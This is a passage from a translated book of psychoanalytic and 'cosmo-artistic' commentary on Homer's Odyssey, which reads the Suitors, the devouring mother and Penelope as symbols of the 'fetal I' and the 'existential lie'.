“Mother dear, sad mother, with an insensitive heart, Why do you sit so far from my father, why not sit close to him, why not ask him questions, and listen to his answers? Not even a woman whose heart is so stubborn could stay away from a man who, after suffering so much, returns after twenty years to the land of his forefathers. But as always your heart is harder than stone”. (Od. XXIII, 96-103) What we know about Penelope is that she had cried all those years hoping for her husband’s return and that she made up lies to keep the Suitors at bay. But this does not tell us anything about her transformation. She asks Ulysses the stranger how to interpret her dream about the geese who are killed by the eagle but then she rejects his interpretation. Does she, too, go through feelings of powerlessness, where she learns how to soften her heart and I just can’t see it, like I can in regards to Ulysses? One thing I do see: the transformation has happened, because only a woman who has a humble heart and not an arrogant one could listen to Ulysses’ stories about his adventures with other women without becoming furiously angry and without making yet more plans to kill him. *****
190
CHAPTER XXXVI
FROM POWERLESSNESS TO VIRILE PERSONAL POWER BEFORE THE DEVOURING MOTHER To be able to accept and fully experience powerlessness and center oneself on the Cosmic SELF are the two ways that Homer indicates can help us acquire the type of virile personal power that we need to overcome the devouring mother. Ulysses’ encounter with the devouring mother is presented by Homer in the Odyssey in six different episodes: The first encounter comes about in Polyphemus’ cave. Ulysses must first watch in absolute powerlessness while Polyphemus begins devouring his companions two at a time. Then, once his rage has passed, he is capable of figuring out a plan to get out of such powerlessness and save himself. This powerlessness is similar to the kind one can feel in regards to the abuse of power witnessed in certain human interactions or couple relationships. The second encounter happens when the Laestrygonians devour the crews of the eleven ships that had entered the port before Ulysses got there and could quickly turn them around and sail to safety. This type of powerlessness is similar to what human beings can feel when faced with an environmental catastrophe. The third encounter comes about in the palace of the sorceress Circe, when a part of Ulysses’ companions are turned into swine and where Ulysses himself stays on a whole year to enjoy the favors of the beautiful Circe. Thanks to Hermes, Ulysses has enough power so that he can subdue Circe and not become a victim of her magic. This time the power to enjoy the devouring mother and give her pleasure as well overcomes the fear of being devoured. No damage is done and favors are received. This passage from powerlessness to personal power, with Hermes' help, is reserved only for those who are willing to work hard to pass from ignorance to knowledge and from childhood to adulthood. Knowledge does confer power, but the decision to grow and to step away from the world of the mother at any cost confers much more. The fourth encounter comes about in the Strait of Messina, where Scylla strikes Ulysses’ ship in an instant and devours six of Ulysses’ companions with its six heads. Here Ulysses is completely powerless and he can only watch, feeling great pain, while his companions are devoured.
191
This type of pain is similar to the pain we feel when we are powerless before natural catastrophes like earthquakes, tsunami and hurricanes. One must only escape as quickly as possible; there is no other way to save oneself. The fifth encounter happens when Ulysses is shipwrecked on Calypso’s island and the beautiful nymph keeps him prisoner in her bed for seven long years. Here pain is mixed with pleasure and pleasure turns into constant tears, that Ulysses sheds by day while sitting at the island’s rocky shoreline. This powerlessness and this imprisonment very often rise from an incestuous attachment to the mother and from the decision to be subjugated by her needs in exchange for her love. The sixth encounter comes about in the palace at Ithaca, where more than one hundred Suitors have Penelope under siege, passing the time stuffing themselves, devouring Ulysses’ goods and planning both his and Telemachus’ death. Here Ulysses gradually builds his personal power as he goes through the most intense humiliations, and finally, with the help of Athena, his son Telemachus, the swineherd Eumaeus and the cow-herder Philoetius, he can completely destroy the devouring mother’s horde, represented so well by the Suitors. *****
192
CHAPTER XXXVII
THE SUITORS Homer speaks at length about the Suitors right at the beginning of the poem (Od. I and II). What he says is that they have an arrogant heart (Od. I, 103). This description is the most concise and the best that Homer offers all throughout the poem. During modern times there are many people with an arrogant heart and so I decided to describe them in a decalogue that was the central theme of an international congress held by the Sophia University of Rome in Belgium, 1995. DECALOG – A PORTRAIT OF MODERN MAN or ten points to reflect on to understand better what exactly the existential lie is, that we live inside of like so many fish in water. 1) I am an Absolute and everyone must bow down before me and adore me as if I were a God. Whoever dares to oppose me will be crushed like a worm. 2) Truth is based on whatever I think and whatever I feel. I never lie; I am the Truth. Others are always at fault. I will never budge one inch from my point of view. Those who do not offer me recognition do not have the right to exist. I don’t have to recognize anyone else. I am entitled to everything. 3) I am innocent, actually I am an innocent victim; the others are always guilty. I don’t want them to live and I will kill them with the poison of my hatred and my disdain. I am Right and I am always in the right. Whoever dares to cross me will pay dearly for it into eternity. There is no way that any reparation can satisfy me. 4) Only my will must be done and whoever is not willing to bend to it will be eliminated forever. My weapons? Seduction, phallic power, blackmail and threats. 5) Only I exist and everyone else is at my service.
193
Whoever rebels against me and does not want to serve me shall be condemned to hell. My needs and my projections always come first! The others are my rug and I am a bulldozer. 6) Everything that exists is mine. I steal whatever does not belong to me and if I cannot steal it, I destroy it or I break it. Nothing can cure my envy. Nothing can satiate my greed and voracity. 7) I am the law. There is no law above me. I dictate the rules of the game and I change them when I feel like it. I am power. There is no power greater than mine. Everyone must obey me; I don’t have to obey anyone. 8) I am pure, I am a saint and my saintliness is everywhere. My honorability is my highest value. The unconscious? I don’t have one. The others have one, of course, and theirs are full of hatred and evil. If they do not publicly confess their guilt, I will punish them with universal judgment. I am the strongest, so says the penal code. 9) I am always perfect. I don’t have to correct anything about myself. I don’t have improve in any way. I don’t ever have to apologize; I don’t have to ask anyone’s forgiveness for anything. 10) I don’t want to die. I cannot die. I am Eternal. I will nurture my eternity by killing off the others. (see A.M. “La nascita della cosmo-art” {The Birth of Cosmo-Art}, pgs 47-48). I already spoke of the existential lie in previous pages, but here I would like to add some further reflections.
THE EXISTENTIAL LIE “The existential lie is a lie that people tell themselves without knowing that they are lying. It is a lie with which a person denies the truth and denies the reality principle and instead creates a mask, or a cocoon. This way they can defend themselves from the pain that this causes inside themselves, and the name they give the mask is absolute truth. It is the lie that humans use to deny the existence of their dark sides, their weaknesses and vices or, as Jung would say, of their Shadow. They become anchored
194
in a false self (Winnicott) and an ideal of perfection that is flawless, through their pride and their arrogant demands. The existential lie serves to defend oneself from the truth and from the anguish of dying, but it also serves to be able to impose on others one’s will to dominate. It especially serves to affirm one’s refusal to be born and to pass from the stage of the fetal I to the stage of the adult I . When one is immersed in the existential lie it is as if they were never born. Now if we think about it, life asks human beings to be born at least three times. The first is our biological birth. The second is the birth of the reality principle. The third is the birth of the principle of truth and the principle of responsibility. As far as biological birth goes, modern medicine has made sufficient progress to be able to assure this for many, lowering the number of infantile deaths to a minimum. As far as the second and third births go, in my opinion there is not yet a science that is sufficiently developed to assure that many will be born. This is true because for these births it is not only a question of science but of science and art”. (see A.M. “La nascita della cosmo-art” {The Birth of Cosmo-Art} , pgs. 45-46). In the introduction to the Group Laboratory of Existential Anthropology of the Sophia University of Rome (S.U.R.) on 13-14 May, 1995, I wrote: “If we define the existential lie as a partial truth that is rendered absolute by the megalomanic I , it is the job of the I Person to ask itself what exactly its absolute truths are, and how a truth can become a lie as soon as it is isolated from the principle of reality or it is thought of and affirmed in contraposition to the principle of reality. The pleasure principle says: only I exist and everyone else only exists to serve me. And it is well known that the pleasure principle accepts the principle of reality only when it is forced to. Another important reflection must be added, which regards the coexistence and the predominance of the fetal I over the adult I. I am speaking of the fetal I and not the infantile I ; I am referring to that I that developed in the maternal womb, during the nine months of intrauterine life and that, because of the trauma it experienced there, has no intention of leaving the uterus even many years after biological birth. The principle of reality of the fetal I does not at all correspond to the principle of reality of the adult I . For the fetal I the only reality that counts is its survival and wellbeing. All the rest is not real and, if it is, it is only in relation to the type of damage and offense that it did to the fetal I’s ideal of perfection.
195
This I that necessarily develops as one that is wounded and offended, due to the fact that it develops in a uterus that is polluted and lacking, like that of most women today in this particular historical moment, knows only one reality and one truth: the infinite, arrogant demand that its wound be recognized and at the same time the refusal to accept any type of reparation for its wounds. This is because in this situation the pleasure principle obtains satisfaction only by getting revenge, that it will carry on for its whole life. The fetal I is not interested in the type of pleasure it would get should its wound be repaired, nor does it care about the pleasure and joy it could experience by developing its own creative, transformative power. The first existential lie is established here, and from this point on it expands and pollutes every relationship between individuals and entire populaces. To act on this lie and dismantle it means deciding to be born, to grow up and enter into the adult world; it means deciding to be born into the full dimension of human beings as Persons, as beings that belong to a cosmic reality and not just a fetal one. It means deciding to be born to one’s own artistic, creative power and decide to abandon the eternal victim role that is happy only with sadomasochistic pleasure and never with the joy of creating. It means deciding to choose truth and beauty, instead of lies and ugliness”. (see A.M. “La nascita della cosmo-art” {The Birth of Cosmo-Art} pg. 31). Explanations on the Decalogue given during the Laboratory activities. “In Greece, the philosophical schools of thought initially looked at the problem of truth and falsity. Very quickly some began saying that there is no truth, like the skeptics, the followers of Pyrrho. This affirmation ass then taken up by the Sophists, who demonstrated that any proposition, any affirmation, can be demonstrated as being both true and false at the same time, thus any type of objective truth does not exist. Then Aristotle and Plato came along and said: truth exists. Plato found it in the ideas found in the Hyperuranium, then he looks at the problem of how the limits of the senses can be overcome so as to reach this truth that is found in ideas. Thus truth is found in ideas but unfortunately we are souls trapped in our bodies and our bodies have senses, and through our senses we always end up seeing things in a confused way. Remember the story of the cave? Plato says: take a man who is in a cave and who is looking at the inner wall of the cave; various figures pass outside the cave and a light projects these shadows on the cave’s far wall. The man sees the projection but he can’t see anything else because his shoulders are turned towards the cave’s
196
opening. He sees nothing that actually happens at the entrance, he only sees the reflection of it projected on the wall of the cave. This is because of our senses. Thus humanity can only have an approximate knowledge of truth. We can never truly grasp true and certain knowledge of truth, unless we get rid of our body and manage to reach the level of ideas. Only if this is accomplished can we hope to reach the truth. Then along came Aristotle, who introduced the principle of non-contradiction. If A is A it cannot be B ; in other words, if an affirmation is shown to be true it cannot be false, and if an affirmation is false it cannot be true. However, what is established with certainty is that on the basis of the principle of non-contradiction a truth does exist, and the whole problem resides in demonstrating whether an affirmation is either true or false. If it is true it must be preserved, if it is false it must be eliminated. Socrates introduces humility for the first time in the history of Western thought, that he masterfully expresses in the phrase: “I know that I don’t know”. What is Socrates affirming with this phrase? That at least one certain truth exists. He knows he doesn’t know. If he sets out to search for truth, either alone or with others, he and the others can reach some kind of truth. This phrase contains above all another truth: if he, Socrates, manages to dismantle the prejudices of the person he is talking to, prejudices that are taken as being truths, then later Socrates can find a truth together with those who have accepted to allow that their prejudices be dismantled. The position of the skeptics has been revisited during modern times by positivist and relativist philosophers. For them relative truths exist and these truths are so relative that again they end up reaching the conclusion that no truth exists. Socrates’ position was instead revisited by Karl Popper, who strongly adheres to Socratic thinking and invites all thinkers, both philosophers and scientists, to become humble in their thinking and their actions and to not assume absolute positions. This is where the novelty lies, in him inviting thinkers to realize that neither the truth that has been found nor an ascertained demonstration of falsity should be rendered absolutes. Popper is also important because he introduces the concept of existential life history and he asks: should we be pessimists or optimists? Clearly if there is an annihilistic approach at the basis of our thinking, where no objective truth exists, then we have to be pessimists; if, instead, we can reach some sort of truth, then we can be optimistic. What am I asking you to do here, in practical terms? First of all, I am asking you to put aside your skepticism: there are certainly truths that can be reached and it is not necessary to leave one’s body to reach them. Also, in contrast to Aristotle’s thought, an affirmation can contain both a truth and a lie, because this is what happens over and over again in relationships and in the context of scientific research as well (for example, Newtonian mechanics is true on one level of reality and it is false on another level, as has been demonstrated by quantum mechanics).
197
The existential lie, which is what we are focusing on in this laboratory, is different from falsity, because it is a description of a partial reality with an attempt to make it an absolute, while falsity is an affirmation that concerns a reality considered in its totality. If I say that a certain proposition is a lie, and I am referring to an existential lie, it means that the proposition is partially true and partially false. We can see that in this case I am putting aside the principle of non-contradiction formulated by Aristotle, because according to him if a proposition is true it cannot be false and if it is false it cannot be true. But he did not make any distinction between lie and falsity. Another element I wanted to offer you is to discover the importance that all this has in our daily lives and in our relationships. Because if what I think and feel is true, and I demand that this is an absolute truth, this fact will have a negative connotation if I enter into conflict with someone or if I am feeling conflict within myself. Let’s look at conflict with another person. If I am in conflict with someone and I think that what I am feeling is true, and I demand that it be taken as an absolute truth, it is impossible that what the other is thinking and feeling can be just as true. Is this logical? And so it is impossible to arrive at a solution to the conflict, because the contraposition will be there forever, since each person considers their own truth an absolute. Whatever each is thinking and feeling in that moment is the only truth. This means remaining in the context of a subjective truth, that can never be confronted with the truth of another, it can never reach a level of objective truth. At this point we must add that besides having understood that the first characteristic of a lie is its becoming an absolute, “whatever I think and whatever I feel is true” and “it is absolutely true”, there are other questions that must be asked. Another question we could formulate might be: “Whatever I think and whatever I feel is true”; but which I am I talking about? Is there a single I within us? At a very bare minimum we can say that there is a fetal I and an adult I ; so, if I don’t ask myself which I is coming into play in the moment it is thinking and feeling, I cannot understand what type of truth I am talking about. The truth that concerns the fetal I is different than the one concerns the a post-fetal objective truth. Only the I exists in the womb. What about the mother? If I want to I can deny her and decide that she does not exist; only I exist in all my omnipotence. But within objective reality, there is an I and there are others. I can, of course, deny that others exist just as I have done with my mother, but this does not mean that the others don’t really exist. Someone stated it very clearly by asking: and if I am overtaken by a projection? … which I is acting during a situation like that? A projection can also have its beginnings during intrauterine life, and so it is the fetal I that kicks into action. I have no awareness of this fetal I so how can I affirm that this is the truth? Which I expressed the truth? That which is true for the Psychological I can be false for the I Person. Which of the two will I listen to? If I want to be able to express an objective truth it is obligatory to pass from the fetal I to the adult I .
198
Yesterday you had quite some difficulty with what you did and why is that? I believe that the reason for this is because of the predominance of the fetal I. The fetal I believes that only he exists and the mother only exists in the distance. Essentially, the only thing that exists is the fetal I. If the mother does exist she is there only to be at his service. This is one way we can take the experience of the fetal I and bring it into our daily experience; as long as the fetal I prevails, I will never be able to welcome anyone else’s existence, unless they are at my service. There is another problem within the human being and this is the drive for power. Again, when I ask what the I is thinking and feeling, I can ask: is this the adult I that is thinking and feeling or is it the fetal I ? Is this the Psychological I, the I Person , or maybe the SELF? And now I can also ask: is it perhaps the megalomanic phallic I , that always wants to impose its power and its will on others? If this is the case, how can I know that I am within the context of the truth? It is not an easy thing to free ourselves of the need to wield power over others: it requires continuous practice and the ability to face a real crisis and make some real changes to decide to stop acting on our will to have power over and dominate others. We all know how the I considers itself an absolute and how it wants to absolutely dominate life and others, how it wants that life and others to do exactly as it wants, as it demands. It is difficult but we must do it, we must try to free ourselves of an absolute I ; otherwise we can forget about truth and the ability to reach objective truth. Another question arises that I amply described in the first chapters of the book . We could say that this is the most immediate and destructive result. Then, since I am not centered only on hatred but also on love, I can also think with love. But if the most immediate thing I am carrying inside is repressed hatred, I will inevitably think with hatred and not with love. And by thinking with hatred, what I am thinking is a truth that is interlaced with a lie, because hatred immediately transforms truth into a lie. An excellent example of this type of truth that is transformed into a lie can be seen in how Oedipus forces his mother to face the truth and wants her to necessarily face it in the way he is facing it, that is with hatred. The consequence is that his mother hangs herself: this is what Oedipus wanted, but he was unaware of it. Oedipus hated his mother and he wanted her to hang herself and how did he manage to force her to do so? By using truth, not by using a lie. In those moments he is thinking with hatred, he is not thinking with love, neither towards himself nor towards his mother. The solution that I have found is that only by using the power of reason, not rationalization, but reason, can we discover our repressed hatred that we have been carrying since our intrauterine experience, the pre-Oedipal phase and the Oedipal phase. By using reason I can discover my repressed hatred. Without reason repressed
199
hatred cannot be discovered, because repressed hatred does not have access to our sense perception. I cannot feel repressed hatred. Why can’t I feel it? Because I did everything possible to repress and deny it, otherwise I would have never survived during intrauterine life. If I have thus done everything possible to not feel it, how could I possibly feel it now? Are you following me here? It is obvious, then, that when I think and feel, I will think and feel everything except hatred; I will feel my wounds, I will feel the injustice that has been done to me, I will feel my arrogant demands perhaps, but I will definitely not feel hatred, because I have erected a cement wall between myself and my hatred. I have done so because if I hadn’t I would have never survived during prenatal life, during the pre-Oedipal phase or during the Oedipal phase. If I use reason to examine my actions or the actions of others and reflect on them, then I can use reason to also discover my repressed hatred within. Then I can decide to do something to see it and eliminate it. Let’s return now to the question about what the relationship is between the I and the SELF . If I have established a healthy relationship with my SELF , then I can have faith that at the moment I come into contact with my hatred, I can accept myself without killing myself because I am so full of hatred. One possibility to use reason and discover whether or not there is repressed hatred within me is to look at whether there is an internal I Persecutor as well as an external one. The internal I Persecutor is created on one hand by the I Person that splits off from that part of itself that is the cause of hatred and it transforms itself into an implacable judge towards the same I Person: you have repressed hatred within you, thus you are guilty, thus I have to punish you. Instead, the SELF’s way of acting in regards to guilt is completely opposite from the way the I Person has transformed it into an I-Persecutor, because the SELF says: you are guilty, you have hatred within you but I want you to free yourself of this hatred and I will give you the means and the love you need to be able to embrace this hatred and transform it. Only the SELF can say this and if the I Person opens a dialog with the SELF and embraces a positive message that comes from the SELF, it can overcome hatred, because it knows that its SELF loves it. Thus the I Person, centered on the love that the SELF offers it, can decide to love itself even though it discovers it is full of hatred and destructivity. It can love itself even though it is full of homicidal urges towards its father or mother or siblings or anyone else. With the SELF’s help I can love myself; if I love myself I can embrace myself completely and work on dissolving my hatred. I have always said: part of this hatred is just and part of it is unjust and out of proportion. This is the vindictive part that does not allow for any type of reparation, it wants only the other’s death. Did the other wound me? Then they must die. The unjust part can be eliminated only with forgiveness (see A.M. “Amore, Liberta’ e Colpa” {Love, Freedom and Guilt} 2nd edition, Sophia University of Rome).
200
In this case the type of forgiveness we are talking about has nothing to do with Christian forgiveness; instead it means: I love myself, and if I love myself I want to be done with my need for revenge. To love myself means that I want to detach myself from my trauma. It may seem incredible, but we are deeply attached to the pain of the trauma we have suffered. We don’t want to separate from it, and only forgiveness, that is an act of love towards ourselves, is capable of helping us detach from our trauma and the pain of our trauma and, as a result, from our anger and our need to get revenge. I hope that the solution I am proposing is clear and that all the various passages described are clear as well. I have been asked, however, to better explain what the SELF is. I have always said that the SELF is to the I Person like what the sun is to the earth. What is the sun to the earth? Is there biological, animal, vegetable and human life on the sun? There are none of these life forms and there never will be. However, there is another type of life there, the life of stellar processes, the processes that set off atomic fusion and let off enormous quantities of light, heat and electromagnetic energy, as well as many other types. These forms of energy, like light and heat, reach earth, which had to – and I underline had to, in the sense that this did not happen by chance – have a particular orbit around the sun. This orbit is different from the orbits of all the other planets and the earth also rotates on itself in a way that is different from the other planets. For this reason, it is illuminated and warmed up in such a way that biological , vegetable, animal and human life can develop. Had the earth not chosen the right orbit and the right rotation, life would not have developed, just as it has not developed on Mercury, or Mars, or Venus, or on the other planets. By working with this analogy, you can discover what the SELF is. For the rest I can share with you my personal experience, but only as such, as my own personal experience. Many times, I have thought about describing my personal experience with how I contact my SELF in a book . And many times I have decided not to, because my way of doing so is not necessarily the right way for everyone. I can affirm the existence of the SELF because I have experienced it; I can affirm that it is very important to establish a dialog, an open bridge between the I and the SELF, because this was my own salvation; but how to make this contact is something that each person must find for themselves. I have also told you: the SELF speaks to us from both within ourselves and from outside; everything that you feel within you can be the voice of the SELF and everything that happens in the external world that touches you in some way, is the voice of the SELF. It is up to each one of you to learn to read it, to interpret it and to unify your external and internal worlds. Just to offer a bit more substance to what I am saying, I was born from a mother who wanted a female and not a male. When I started asking myself: why did the SELF have me be born into such a situation? I can stop thinking that this is an injustice, and I can instead try to understand why. There is most certainly an answer, this did
201
not happen by chance. I do the same thing with everything else that happens to me. I ask myself; Why has my SELF put me in this situation? What does it want from me? What is the project here for me? In this way, I can unify my internal and external worlds. My internal world clearly is not made up only of the voice of the SELF ; it is also made up of the voice of the Corporeal I, the voice of the Psychological I and the I Person. These are three realities that are very different from each other, and I must unify all these realities into one. Listening to a chorus, we hear many voices but only one melody. The I Person who acts as an artist can bring all the voices together and fuse them into one.” (see A.M. “La nascita della cosmo-art” {The Birth of Cosmo-Art} pgs. 37-43) *****
202
CHAPTER XXXVIII
THE SUITORS AND THE POISON OF ARROGANT DEMANDS
The many quotes that follow have helped me delve more deeply into the importance of the theme of the Suitors, which most of the Odyssey is based on. Many writers who have worked on this poem often underestimate this theme. In my opinion, Homer is saying; if the Suitors are not exterminated, secondary beauty cannot be created. If this creation is, as I affirm, the basic theme of the Odyssey, we can then understand why Homer only uses eight books, from V to XIII, to tell about the “nostos”, Ulysses’ return to Ithaca, whereas he uses nine of them, from XIV to XXIII to describe the massacre of the Suitors and XXIV to talk about how they ended up in Hades. Out of twenty-four books, the first four are dedicated to the introduction and to Telemachus, eight to telling about Ulysses’ return and ten to describe the massacre of the Suitors. In the first four books, Homer already mentions the Suitors and he describes them in a forboding manner. If there were not a thread that unites all the books, from the first to the last, there would be an internal imbalance in the poem’s structure. This would cause there to be doubt regarding Homer’s greatness as a poet and it would be difficult to understand why this poem had become so famous among readers of all times. This thread begins with Zeus’ invitation to value wisdom during the introduction and it winds through the whole story, in describing the passage from wisdom to art. The art we are dealing with is the art of self – transformation and the art of knowing how to create secondary beauty. The thing that most opposes wisdom is greed and hybris and in the poem the ones who are principally accused of these vices are Aegisthus, the Suitors and Ulysses’ companions. Due to this madness on their part, they all end up dying. The Suitors symbolize many different realities all put together: hybris, arrogance, greed, envy, stealing, homicidal and suicidal urges, the devouring mother and the phallic assassin mother. But what they especially represent is the fetal I and its infinite arrogant demands.
203
It is correct to think of the Suitors only as a reality that exists separately, completely on its own. The Suitors are also a metaphor and an external materialization of the internal fetal I of both Ulysses and Penelope. Killing the Suitors means killing the fetal I Penelope. that is a part of Ulysses and
The fetal I has always invaded men and women’s existential space. There is no room inside for the adult I and the artistic I that are capable of creating a type of beauty that does not yet exist, and that once created acquires immortal life. Homer’s poems are not history books and the characters found in the Odyssey are not historical figures. What is historical is the fact that between the people described by Homer three thousand years ago, and those that exist today, there is really no substantial difference. Yet today many continue to destroy themselves and many tend to dominate others. There are very few people who courageously decide to descend into the abyss of intrauterine life so they can capture the monster that is the fetal I, and conquer it forever. Many continue to live life as thieves and with violence and few are violent with themselves instead of being violent with others. Therefore, the artistic I within them never emerges, and beauty and the concordance of living with a You and with others never become possible. Unfortunately, it is not a historical fact that one battle is enough to exterminate the Suitors, which is what happens for Ulysses. My own bitter experience tells me that many battles are necessary, and one must never lose hope in reaching one’s destination. One thing that I still cannot decipher is why Ulysses needs the swineherd Eumaeus and the cowherd Philoetius to massacre the Suitors. It could be that this choice has to do with his decision to go into his own house dressed in the rags of a beggar, meaning he decides to leave behind his hybris and to dress himself with the most sincere and most authentic humility. I do understand why Ulysses massacres the servant girls who were flirting with the Suitors. I see that as being the type of complicity that the adult I can often show towards the fetal I, and how this complicity must be destroyed. An individual human being is born as if it were a nebula that is the result of the explosion of billions of protogalaxies. Then, through continuous transformations it must become a star, and from this star the light that can travel through infinite spaces
204
is born. This light carries energy and information that produce a new type of beauty that does not yet exist. Ulysses is the immortal archetype of this journey and this type of creation. Aegisthus, who kills Agamemnon to take over his power, and the Suitors, who devour everything in Ulysses’ house and plot both his and Telemachus’ deaths, are the symbol for all those who refuse to embrace this cosmic plan that Life has initiated and choose, instead, death and nothingness. Already during the council of the gods, at the beginning of the poem, Athena speaks with Zeus about the Suitors: Meanwhile I will go to Ithaca, to encourage the son and put strength in his heart, so that by calling the long-haired Achaeans to the council, he can force them to go to the suitors, who are always slitting the throats of his fat sheep and his oxen with crooked hooves and moon-shaped horns (Od. I, 88-92) They are again mentioned when Athena arrives at Ulysses’ palace: Mentes, the leader of the Taphians, was like a guest. He found the suitors to be arrogant: they were playing with their pawns in front of the door, having fun, seated on the skins of the oxen they slaughtered (Od. I, 105-108) And suddenly Telemachus sees her: Telemachus, similar to a god, saw her for the first time; he was sitting among the suitors, with a tortured soul, dreaming in his heart of his noble father, if he would suddenly come and free the house of all the suitors, giving him back his honor and his ownership of his goods. This is what he was dreaming of, while seated among the suitors; and he saw Athena. (Od. I, 113-118) After Telemachus has welcomed her with all the attentions of a good host, again Homer shifts our attention back to the Suitors: Meanwhile the arrogant suitors came back inside; they immediately sat in line on the seats and thrones. And the heralds poured water on their hands, the servant girls brought bread in baskets, the young men filled the vases with wine. Then on the ready food being served they threw themselves (Od. I, 144-149)
205
They are the princes from Ithaca and from the nearby islands. They are arrogant and they only care about devouring Ulysses’ riches. This is what Telemachus emphasizes just a few verses later: of course! because they shamelessly devour , another man’s riches whose white bones are rotting in the rain somewhere on land, or perhaps they are rolling in the waves. But if they were to see him return here to Ithaca, they would all become even faster on their feet , than they are rich with gold and splendid outfits (Od. I, 160-165) Even Athena has bitter words to say about them: they seem so insolent, such lowlifes that banquet in the hall. Anyone, any wise man who would enter would be disgusted, to see so much shame”. (Od. I, 227-229) Telemachus adds more, even harsher, words: All the most noble who are powerful on the islands, Dulichium, Same and the wooded Zacynthus, and all the princes on Ithaca, they all want my mother and they destroy my house. She neither refuses the hated nuptials, nor does she have the courage to go through with them; in the meantime the Suitors are ruining my house with their banquets and soon they will tear me to pieces as well».(Od. I, 245-251) Athena answers, shocked: And Pallades Athena said to him, shocked, “My dear, you truly need Odysseus who is so far away, so he could put his hands on those shameless suitors. (Od. I, 252-254). Athena has no doubt: the Suitors must be exterminated: When you will have finished doing everything, ponder deeply and at length how you can massacre the suitors in your home, whether deceiving them, from hiding, or openly so: you must not act like a child, because you are no longer the age of one. (Od. I, 293-297) Athena’s strongest argument is made in reference to Orestes. Just as he killed his father’s assassin, Telemachus should do the same so he can be glorified.
206
Can’t you see what glory Orestes the divine brought himself among all men, by killing his father’s assassin, Aegisthus the deceiver, who had killed his noble father? You too, my dear, since you are able and handsome, Be strong, so that there will be those who praise you in future generations. (Od. I, 298-302) This last reference is very important for our purposes, because it is the central theme within Greek literature that indicates the need not for revenge, as it would seem at first, but for a decision to step out of the maternal dimension, and enter into the paternal one. This decision is of utmost importance, and it requires overcoming the fear of death. Very few mothers allow their children to make this step forward, and very many of them threaten those children who dare do so against their will. A death threat hangs over Telemachus as well, that doesn’t come from his mother directly, but from the Suitors. But isn’t it Penelope who allows the Suitors to settle in and take over Ulysses’ palace, as though they owned it? This is Antinous’ reasoning with respect to Telemachus and his journey to Pylos: and Antinous the son of Eupeithes spoke to them, irately; his black heart swollen with rage, his eyes were like flaming fire: “Ah, Telemachus has acted truly with great insolence by taking this trip: and we said he would never do it. The boy has gone despite our number, he put his ship to sea, with the best crew possible. He will guide them against us in the future: but may Zeus first destroy his power, before he reaches young adulthood! Come now, give me a fast ship and twenty companions, I will go and ambush him by first spying on him in the Strait between Ithaca and rocky Same: may he sail into trouble while looking for his father!” This is what he said, and all the others encouraged him on, agreeing… (Od. IV, 660-673) …………….The herald Medonte runs to Penelope to tell her what the Suitors are plotting. And the wise Medonte answered her: “Ah my queen, if this were only the worst of all evils! Many more grave and terrible things, instead your suitors are plotting: may Chronide not allow it!
207
They want to kill Telemachus with a sharp bronze sword, as soon as he returns home: he has gone looking for news of his father in sacred Pylos and in splendid Lacedemone” (Od. IV, 695-703). This is an important key to understanding the Odyssey’s main theme: Ulysses, Penelope and Telemachus must all break their ties to their internalized mother and they must become capable of passing from the maternal dimension to the paternal dimension, from the paternal dimension to the cosmic dimension. This is why they must center their lives on their Personal SELF (Athena) and their Cosmic SELF (Zeus) and, above all, understand what Cosmic purpose the Universe, the great Father, assigns to the lives of human beings in an evolutionary sense. Cosmo-Artistic anthropology describes this purpose as the search for a type of immortality that helps human beings detach from primary beauty and the beauty of life so they can create secondary beauty and with it a type of immortal life that can travel forever from one universe to another. This is why the thesis put forth by some that the first book of the Odyssey was written to connect the Telemachia to the rest of the poem is misleading. It does not take into consideration what I have tried to explain regarding what is, in my opinion, the fundamental theme that Homer is proposing by writing the Odyssey. If he speaks at length about the Suitors and the need to exterminate them, this is because with these characters Homer wants to use strong images to describe the evil that gnaws at human beings inside of themselves: arrogant demands, hybris, selfrighteousness, greed and homicidal and suicidal urges. These evils are what make people turn away from the cosmic purpose and devote themselves to consuming and destroying life instead of accepting pain, wisdom and the art of becoming capable of creating the world of secondary beauty. The Suitors stay in the house of Ulysses, Penelope and Telemachus, which is the same thing as saying they are inside of Ulysses, Penelope and Telemachus. Each one of them must undertake a battle to exterminate them within themselves, with Athena and Zeus’ help. To think that this might happen in just one day is nothing more than another arrogant demand for omnipotence. Lengthy preparation and a firm decision are necessary to be able to gradually exterminate these evils, with great steadfastness and hope, like our heroes do. This extermination could be seen by many as a type of revenge acted out by Ulysses and Telemachus, and the word revenge is, in fact, sometimes used in the poem. However, Homer makes other statements that have a very different meaning than revenge.
208
The killing of Aegisthus, which first Zeus speaks of and then Athena mentions when she is speaking with Telemachus, is not revenge. It is just punishment that human beings bring on themselves when they “act against duty”, as Homer says. it’s because of their mad crimes against duty that they suffer. (Od. I, 34) and the next verse says: And so now Aegisthus has taken against duty his woman Athena uses two different terms, “revenge” and “get them out of the house”. But this lies on the gods’ lap, whether or not he should get revenge, on returning to his home. In the meanwhile think seriously about how to get the suitors out of your house: (Od. I, 267-270) Revenge “lies on the lap of the gods”. This means that it is a decision that the gods must make, not human beings. To the contrary, the decision to get the Suitors out of the house, along with everything they represent, is one that human beings must make. The problem can be resolved even better if we accept the principle I mentioned before: “Just as an infinite number of lines that are completely opposite from each other pass through a single point, an infinite number of motives that are completely opposite from each other pass through every human action.”. When Athena encounters Ulysses on the beach in Ithaca, the goddess tells him very clearly that the Suitors must be killed: Then the two, seated at the foot of a sacred olive tree, meditated on the death of the arrogant suitors. Blue –eyed Athena began speaking: “Divine son of Laertes, cunning Odysseys, think about how you can get your hands on those arrogant suitors, (Od. XIII, 372-376) And responding the sharp Odysseus said:
209
, 382-387) I too, just like the Suitors, am deeply attached to primary beauty and, just like them, I want to take possession of the beauty that belongs to life with my arrogant demands, my arrogance and greed; I want to use it and consume it and devour it, creating ugliness and not beauty. However, like Ulysses, I too have been travelling for almost forty years so I can face the thousands of woes that come from my intrauterine experiences and from daily life, and make the passage from the maternal dimension to the paternal dimension. I do this so I can become capable of centering myself on the purpose of the Cosmic SELF (the father beyond the father). This purpose speaks to me of a special type of beauty that I can create by transforming myself and helping others transform themselves, and by becoming an artist of my life and the life of the universe. I have explored these ideas at length in my other books: The Ulysseans, Published by the Sophia University of Rome (S.U.R.), 2009, “La nascita della cosmoart” {The Birth of Cosmo-Art}, Published by the Sophia University of Rome (S.U.R.), 2000 “Theorems and Axioms of Cosmo-Art”, Published by the Sophia University of Rome (S.U.R.), 2009, “The Myth of Ulysses and Secondary Beauty”, published by the Sophia University of Rome (S.U.R.), Rome 2009, and in “Theory of the Person and Existential Personalistic Anthropology”, Published by the Sophia University of Rome (S.U.R.),2009. *****
210
CHAPTER XXXIX
FROM VIOLENCE TO NON-VIOLENCE
